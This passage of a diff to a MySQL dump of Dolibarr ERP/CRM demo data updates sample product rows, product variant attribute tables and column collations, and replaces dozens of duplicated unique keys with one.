rollup','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',0.000,0,0.000,'0',0.000,'0',1,12,1,1,0,0,0,0,'',NULL,NULL,'123456789044',2,'','','','',NULL,NULL,NULL,95,-3,NULL,0,2.34,-4,NULL,0,-1,0.00000000,NULL,NULL,'',1,0,NULL,NULL,NULL,NULL,12.00000000,NULL,0,NULL,'',NULL,8,NULL,8,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(12,'2018-07-30 17:31:29','2018-07-30 13:35:02',0,0,'DOLICLOUD',1,NULL,'SaaS service of Dolibarr ERP CRM','Cloud hosting of Dolibarr ERP and CRM software','','',NULL,9.00000000,9.00000000,9.00000000,9.00000000,'HT',0.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,1,'',NULL,'http://www.dolicloud.com','123456789013',2,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,NULL,NULL,'',0,0,NULL,NULL,NULL,NULL,8.50000000,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(13,'2017-02-16 03:49:00','2017-02-15 23:49:27',0,0,'COMP-XP4548',1,NULL,'Computer XP4523','A powerfull computer XP4523 ','This product is imported.
\r\nWarning: Delay to get it are not reliable.','USXP765',11,100.00000000,110.00000000,0.00000000,0.00000000,'HT',10.000,0,0.000,'0',0.000,'0',12,12,1,1,0,1,0,0,'',150,NULL,NULL,2,'',NULL,NULL,'',NULL,NULL,NULL,1.7,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,200,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(23,'2019-10-07 00:00:00','2019-11-28 13:51:35',0,0,'PREF123456',1,NULL,'Product name in default language','Product description in default language','a private note (free text)','customs code',1,100.00000000,110.00000000,100.00000000,110.00000000,'HT',10.000,0,0.000,'0',0.000,'0',12,NULL,0,1,0,0,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-3,1,-1,4,-4,5,-3,NULL,0.00000000,NULL,NULL,NULL,0,0,'20191007122224',NULL,NULL,NULL,NULL,NULL,0,'a public note (free text)','',2,-1,3,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(24,'2019-11-28 16:33:35','2019-11-28 15:02:01',0,0,'POS-CARROT',1,NULL,'Carrot','','','',NULL,0.83333000,1.00000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(25,'2019-11-28 16:37:36','2020-01-13 11:13:19',0,0,'POS-APPLE',1,NULL,'Apple','','','',NULL,1.25000000,1.50000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,15.599999999999994,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(26,'2019-11-28 16:38:44','2019-11-28 12:38:44',0,0,'POS-KIWI',1,NULL,'Kiwi','','','',NULL,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(27,'2019-11-28 16:39:21','2019-11-28 14:57:44',0,0,'POS-PEACH',1,NULL,'Peach','','','',NULL,1.08333000,1.30000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,NULL,NULL,'',0,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(28,'2019-11-28 16:39:58','2019-11-28 12:39:58',0,0,'POS-ORANGE',1,NULL,'Orange','','','',NULL,2.00000000,2.40000000,0.00000000,0.00000000,'HT',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,1,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(29,'2019-11-28 17:03:14','2019-11-28 13:03:14',0,0,'POS-Eggs',1,NULL,'Eggs','','','',NULL,1.66667000,2.00000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(30,'2019-11-28 17:09:14','2019-11-28 13:09:14',0,0,'POS-Chips',1,NULL,'Chips','','','',NULL,0.41667000,0.50000000,0.00000000,0.00000000,'TTC',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',NULL,NULL,NULL,2,'','','','',NULL,NULL,NULL,30,-3,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(31,'2021-04-15 08:38:02','2021-04-15 11:38:02',0,0,'PRODSER',1,NULL,'Product NFC - Unique','','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',19.600,0,0.000,'0',0.000,'0',12,12,1,1,0,2,0,0,'',0,NULL,NULL,2,'','','','','','',NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL),(32,'2022-12-30 10:44:06','2022-12-30 13:55:46',0,0,'aaa',1,NULL,'aaa','','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',0,NULL,NULL,2,'','','','','','',NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'aaa@bbb',NULL,0,NULL,0,NULL,NULL,NULL,NULL,0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,NULL,NULL),(33,'2023-01-03 11:07:52','2023-01-03 14:07:52',0,0,'aaa_XL_BLUE',1,NULL,'aaa Size XL Blue','Size: Size XL
Color: Blue','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',0,NULL,NULL,2,'','','','','','',NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'aaa@bbb',NULL,0,NULL,0,NULL,NULL,NULL,NULL,0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,NULL,NULL),(34,'2023-01-03 11:15:51','2023-01-16 19:42:03',0,0,'aaa_L_RED',1,NULL,'aaa Size L Red','(discussion, voting, 1+7 CHs, cooperates with HCS 5100Plus series can achieve 8 CHs simultaneous audio, charcoal gray, excl. battery)','','',NULL,0.00000000,0.00000000,0.00000000,0.00000000,'HT',20.000,0,0.000,'0',0.000,'0',12,12,1,1,0,0,0,0,'',0,NULL,NULL,2,'','','','','','',NULL,NULL,0,NULL,0,NULL,0,NULL,0,NULL,0.00000000,NULL,NULL,'aaa@bbb',NULL,0,NULL,0,NULL,NULL,NULL,NULL,0,NULL,'',NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,NULL,NULL); /*!40000 ALTER TABLE `llx_product` ENABLE KEYS */; UNLOCK TABLES; @@ -10394,9 +9656,9 @@ DROP TABLE IF EXISTS `llx_product_attribute`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_product_attribute` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(255) NOT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `label` varchar(255) NOT NULL, `position` int(11) NOT NULL DEFAULT 0, `entity` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), @@ -10411,7 +9673,7 @@ CREATE TABLE `llx_product_attribute` ( LOCK TABLES `llx_product_attribute` WRITE; /*!40000 ALTER TABLE `llx_product_attribute` DISABLE KEYS */; -INSERT INTO `llx_product_attribute` VALUES (1,'COL',NULL,'Color',1,1),(2,'SIZE',NULL,'Size',0,1); +INSERT INTO `llx_product_attribute` VALUES (1,'COL',NULL,'Color',2,1),(2,'SIZE',NULL,'Size',1,1); /*!40000 ALTER TABLE `llx_product_attribute` ENABLE KEYS */; UNLOCK TABLES; @@ -10429,12 +9691,12 @@ CREATE TABLE `llx_product_attribute_combination` ( `variation_price` float NOT NULL, `variation_price_percentage` int(11) DEFAULT NULL, `variation_weight` float NOT NULL, - `variation_ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `variation_ref_ext` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), KEY `idx_product_att_com_product_parent` (`fk_product_parent`), KEY `idx_product_att_com_product_child` (`fk_product_child`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10443,6 +9705,7 @@ CREATE TABLE `llx_product_attribute_combination` ( LOCK TABLES `llx_product_attribute_combination` WRITE; /*!40000 ALTER TABLE `llx_product_attribute_combination` DISABLE KEYS */; +INSERT INTO `llx_product_attribute_combination` VALUES (1,32,33,0,0,0,'',1),(2,32,34,0,0,0,'',1); /*!40000 ALTER TABLE `llx_product_attribute_combination` ENABLE KEYS */; UNLOCK TABLES; @@ -10459,7 +9722,7 @@ CREATE TABLE `llx_product_attribute_combination2val` ( `fk_prod_attr` int(11) NOT NULL, `fk_prod_attr_val` int(11) NOT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10468,6 +9731,7 @@ CREATE TABLE `llx_product_attribute_combination2val` ( LOCK TABLES `llx_product_attribute_combination2val` WRITE; /*!40000 ALTER TABLE `llx_product_attribute_combination2val` DISABLE KEYS */; +INSERT INTO `llx_product_attribute_combination2val` VALUES (1,1,2,4),(2,1,1,1),(3,2,2,3),(4,2,1,2); /*!40000 ALTER TABLE `llx_product_attribute_combination2val` ENABLE KEYS */; UNLOCK TABLES; @@ -10485,55 +9749,7 @@ CREATE TABLE `llx_product_attribute_combination_price_level` ( `variation_price` double(24,8) NOT NULL, `variation_price_percentage` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), - UNIQUE KEY `fk_product_attribute_combination` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_2` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_3` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_4` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_5` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_6` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_7` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_8` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_9` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_10` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_11` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_12` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_13` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_14` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_15` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_16` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_17` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_18` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_19` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_20` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_21` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_22` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_23` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_24` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_25` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_26` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_27` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_28` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_29` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_30` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_31` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_32` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_33` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_34` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_35` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_36` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_37` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_38` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_39` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_40` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_41` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_42` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_43` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_44` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_45` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_46` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_47` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_48` (`fk_product_attribute_combination`,`fk_price_level`), - UNIQUE KEY `fk_product_attribute_combinati_49` (`fk_product_attribute_combination`,`fk_price_level`) + UNIQUE KEY `uk_prod_att_comb_price_level` (`fk_product_attribute_combination`,`fk_price_level`) ) ENGINE=InnoDB AUTO_INCREMENT=59 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -10557,8 +9773,8 @@ DROP TABLE IF EXISTS `llx_product_attribute_value`; CREATE TABLE `llx_product_attribute_value` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_product_attribute` int(11) NOT NULL, - `ref` varchar(180) COLLATE utf8mb3_unicode_ci NOT NULL, - `value` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(180) NOT NULL, + `value` varchar(255) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `position` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), @@ -10572,7 +9788,7 @@ CREATE TABLE `llx_product_attribute_value` ( LOCK TABLES `llx_product_attribute_value` WRITE; /*!40000 ALTER TABLE `llx_product_attribute_value` DISABLE KEYS */; -INSERT INTO `llx_product_attribute_value` VALUES (1,1,'BLUE','Blue',1,0),(2,1,'RED','Red',1,0),(3,2,'L','Size L',1,0),(4,2,'XL','Size XL',1,0),(5,2,'S','Size S',1,0); +INSERT INTO `llx_product_attribute_value` VALUES (1,1,'BLUE','Blue',1,0),(2,1,'RED','Red',1,0),(3,2,'L','Size L',1,1),(4,2,'XL','Size XL',1,2),(5,2,'S','Size S',1,3); /*!40000 ALTER TABLE `llx_product_attribute_value` ENABLE KEYS */; UNLOCK TABLES; @@ -10589,9 +9805,9 @@ CREATE TABLE `llx_product_batch` ( `fk_product_stock` int(11) NOT NULL, `eatby` datetime DEFAULT NULL, `sellby` datetime DEFAULT NULL, - `batch` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `batch` varchar(30) DEFAULT NULL, `qty` double NOT NULL DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_batch` (`fk_product_stock`,`batch`), KEY `idx_fk_product_stock` (`fk_product_stock`), @@ -10628,17 +9844,17 @@ CREATE TABLE `llx_product_customer_price` ( `price_ttc` double(24,8) DEFAULT 0.00000000, `price_min` double(24,8) DEFAULT 0.00000000, `price_min_ttc` double(24,8) DEFAULT 0.00000000, - `price_base_type` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT 'HT', + `price_base_type` varchar(3) DEFAULT 'HT', `tva_tx` double(6,3) DEFAULT NULL, - `default_vat_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `default_vat_code` varchar(10) DEFAULT NULL, `recuperableonly` int(11) NOT NULL DEFAULT 0, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `fk_user` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_customer` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `ref_customer` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_customer_price_fk_product_fk_soc` (`fk_product`,`fk_soc`), KEY `idx_product_customer_price_fk_user` (`fk_user`), @@ -10679,17 +9895,17 @@ CREATE TABLE `llx_product_customer_price_log` ( `price_ttc` double(24,8) DEFAULT 0.00000000, `price_min` double(24,8) DEFAULT 0.00000000, `price_min_ttc` double(24,8) DEFAULT 0.00000000, - `price_base_type` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT 'HT', + `price_base_type` varchar(3) DEFAULT 'HT', `tva_tx` double(6,3) DEFAULT NULL, `recuperableonly` int(11) NOT NULL DEFAULT 0, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `fk_user` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `default_vat_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_customer` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `default_vat_code` varchar(10) DEFAULT NULL, + `ref_customer` varchar(30) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -10714,10 +9930,24 @@ CREATE TABLE `llx_product_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `app_or_option` varchar(255) DEFAULT NULL, + `availabelforresellers` int(1) DEFAULT NULL, + `package` int(11) DEFAULT NULL, + `resource_formula` text DEFAULT NULL, + `resource_label` varchar(32) DEFAULT NULL, + `freeperioddays` int(6) DEFAULT NULL, + `directaccess` varchar(255) DEFAULT NULL, + `sshaccesstype` varchar(255) DEFAULT NULL, + `typesupport` varchar(255) DEFAULT NULL, + `register_text` varchar(255) DEFAULT NULL, + `register_discountcode` varchar(255) DEFAULT NULL, + `email_template_trialreminder` int(11) DEFAULT NULL, + `email_template_trialsuspended` int(11) DEFAULT NULL, + `position` int(5) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_product_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10726,6 +9956,7 @@ CREATE TABLE `llx_product_extrafields` ( LOCK TABLES `llx_product_extrafields` WRITE; /*!40000 ALTER TABLE `llx_product_extrafields` DISABLE KEYS */; +INSERT INTO `llx_product_extrafields` VALUES (1,'2023-01-24 10:28:30',1,NULL,'0',NULL,NULL,NULL,NULL,NULL,'0',NULL,'0',NULL,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_product_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -10742,8 +9973,8 @@ CREATE TABLE `llx_product_fournisseur_price` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_product` int(11) DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, - `ref_fourn` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `desc_fourn` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_fourn` varchar(128) DEFAULT NULL, + `desc_fourn` text DEFAULT NULL, `fk_availability` int(11) DEFAULT NULL, `price` double(24,8) DEFAULT 0.00000000, `quantity` double DEFAULT NULL, @@ -10752,27 +9983,27 @@ CREATE TABLE `llx_product_fournisseur_price` ( `unitprice` double(24,8) DEFAULT 0.00000000, `charges` double(24,8) DEFAULT 0.00000000, `tva_tx` double(6,3) NOT NULL DEFAULT 0.000, - `default_vat_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `default_vat_code` varchar(10) DEFAULT NULL, `info_bits` int(11) NOT NULL DEFAULT 0, `fk_user` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_supplier_price_expression` int(11) DEFAULT NULL, `fk_price_expression` int(11) DEFAULT NULL, `delivery_time_days` int(11) DEFAULT NULL, - `supplier_reputation` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `supplier_reputation` varchar(10) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_unitprice` double(24,8) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_price` double(24,8) DEFAULT NULL, `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', - `barcode` varchar(180) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', + `barcode` varchar(180) DEFAULT NULL, `fk_barcode_type` int(11) DEFAULT NULL, - `packaging` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `packaging` varchar(64) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_product_fournisseur_price_ref` (`ref_fourn`,`fk_soc`,`quantity`,`entity`), UNIQUE KEY `uk_product_barcode` (`barcode`,`fk_barcode_type`,`entity`), @@ -10784,7 +10015,7 @@ CREATE TABLE `llx_product_fournisseur_price` ( CONSTRAINT `fk_product_fournisseur_price_barcode_type` FOREIGN KEY (`fk_barcode_type`) REFERENCES `llx_c_barcode_type` (`rowid`), CONSTRAINT `fk_product_fournisseur_price_fk_product` FOREIGN KEY (`fk_product`) REFERENCES `llx_product` (`rowid`), CONSTRAINT `fk_product_fournisseur_price_fk_user` FOREIGN KEY (`fk_user`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -10793,7 +10024,7 @@ CREATE TABLE `llx_product_fournisseur_price` ( LOCK TABLES `llx_product_fournisseur_price` WRITE; /*!40000 ALTER TABLE `llx_product_fournisseur_price` DISABLE KEYS */; -INSERT INTO `llx_product_fournisseur_price` VALUES (1,'2012-07-11 18:45:42','2014-12-08 13:11:08',4,1,'ABCD',NULL,NULL,10.00000000,1,0,0,10.00000000,0.00000000,0.000,NULL,0,1,NULL,1,NULL,NULL,NULL,NULL,1.00000000,NULL,NULL,NULL,NULL,0.000,'0',0.000,'0',NULL,NULL,NULL),(2,'2018-07-30 17:34:38','2018-07-30 13:34:38',12,10,'BASIC',NULL,0,9.00000000,1,0,0,9.00000000,0.00000000,0.000,NULL,0,12,NULL,1,NULL,NULL,NULL,'FAVORITE',1.00000000,NULL,NULL,NULL,NULL,0.000,'0',0.000,'0',NULL,NULL,NULL),(3,'2017-02-02 05:17:08','2017-02-02 01:17:08',1,10,'aaa',NULL,0,100.00000000,1,10,0,100.00000000,0.00000000,12.500,NULL,0,12,NULL,1,NULL,NULL,NULL,NULL,1.00000000,NULL,NULL,NULL,NULL,0.000,'0',0.000,'0',NULL,NULL,NULL),(4,'2019-10-08 19:21:34','2019-10-08 